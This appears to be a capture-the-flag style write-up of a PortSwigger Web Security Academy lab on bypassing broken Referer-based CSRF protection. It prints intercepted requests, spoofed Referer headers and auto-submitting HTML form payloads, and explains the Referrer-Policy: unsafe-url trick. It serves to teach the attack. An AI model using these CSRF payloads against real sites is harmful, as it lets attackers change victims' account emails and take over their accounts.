| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — Broken Referer Validation Bypass |
| Difficulty | Practitioner |
| Target | 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net |
| Objective | Change the victim's email address by bypassing a weak Referer pattern check |
CSRF with Broken Referer Validation — Writeup¶
Reconnaissance¶
Initial Observation¶
Logged in as wiener:peter. Intercepting the email change request:
POST /my-account/change-email HTTP/2
Host: 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net
Cookie: session=CeR7OreBkm9DweDwOoycg9bUp3p8XdVP
email=teto%40tetomail.com
No CSRF token. Building a basic PoC and viewing it from the exploit server:
<form action="https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
Invalid Referer header — so there is a Referer check after all.
Web — Referer Validation Behavior¶
Looking at the request in Burp's HTTP history confirms the Referer is being sent:
Deleting it in Repeater — 400 Bad Request: Invalid Referer again.
Unlike the previous lab, an absent Referer also fails. Testing with the target domain set manually:
Referer: https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/
302 Found.
Testing with random characters prepended to the domain:
Referer: https://mikumikutetoteto0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/
Also 302 Found. The server isn't checking the exact domain — it's just checking that the Referer value contains the target domain string somewhere. If the pattern matches, the request passes.
Attack Path¶
Exploit — Abusing the Pattern Match via Referrer-Policy¶
Since the server just looks for 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net anywhere in the Referer string, naming the exploit server file after that string would put it in the path — making the full URL contain the target domain as a substring.
Storing it and viewing the exploit while intercepting the request:
The Referer still shows https://exploit-0a2d00b004abaa4881605be2012300b4.exploit-server.net/ — the path isn't being included. This is a browser security behavior: by default, browsers strip the path from the Referer header on cross-origin navigations, only sending the origin. So the filename trick doesn't work out of the box.
The fix is Referrer-Policy: unsafe-url. Adding this as a response header in the exploit server page tells the browser to send the full URL including the path — which means the filename will appear in the Referer and match the server's pattern check.
Adding it to the exploit page head:
<form action="https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]"/>
</form>
<script>
document.forms[0].submit();
</script>
Deliver exploit to victim and lab solved :P
Resources¶
- PortSwigger — Bypassing Referer-based CSRF defenses
- PortSwigger — CSRF
- MDN — Referrer-Policy
- MDN — Referer header
- Burp Suite Professional — request interception, Repeater, header manipulation